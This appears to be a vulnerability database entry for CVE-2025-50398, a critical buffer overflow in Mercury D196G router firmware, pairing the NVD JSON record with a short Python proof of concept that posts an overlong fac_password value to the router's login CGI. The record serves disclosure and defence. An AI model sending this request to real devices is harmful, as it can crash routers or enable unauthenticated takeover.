CVE-2025-50398

import requests target = 'http://192.168.1.1' payload = 'A' * 1000 response = requests.post(f'{target}/cgi-bin/login.cgi', data={'fac_password': payload}) print(response.status_code)

{"cve": {"id": "CVE-2025-50398", "sourceIdentifier": "[email protected]", "published": "2025-12-16T17:16:08.857", "lastModified": "2025-12-22T15:30:24.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44 is vulnerable to Buffer Overflow in the function sub_404CAEDC via the parameter fac_password."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mercurycom:d196g_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "CA14A7E8-7029-4AA7-980A-3C7B36C47A30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mercurycom:d196g:-:*:*:*:*:*:*:*", "matchCriteriaId": "528A4FD6-DA73-4525-96C7-B62306C990DC"}]}]}], "references": [{"url": "https://github.com/sezangel/IOT-vul/tree/main/Mercury/D196G/2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sezangel/IOT-vul/tree/main/Mercury/D196G/2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}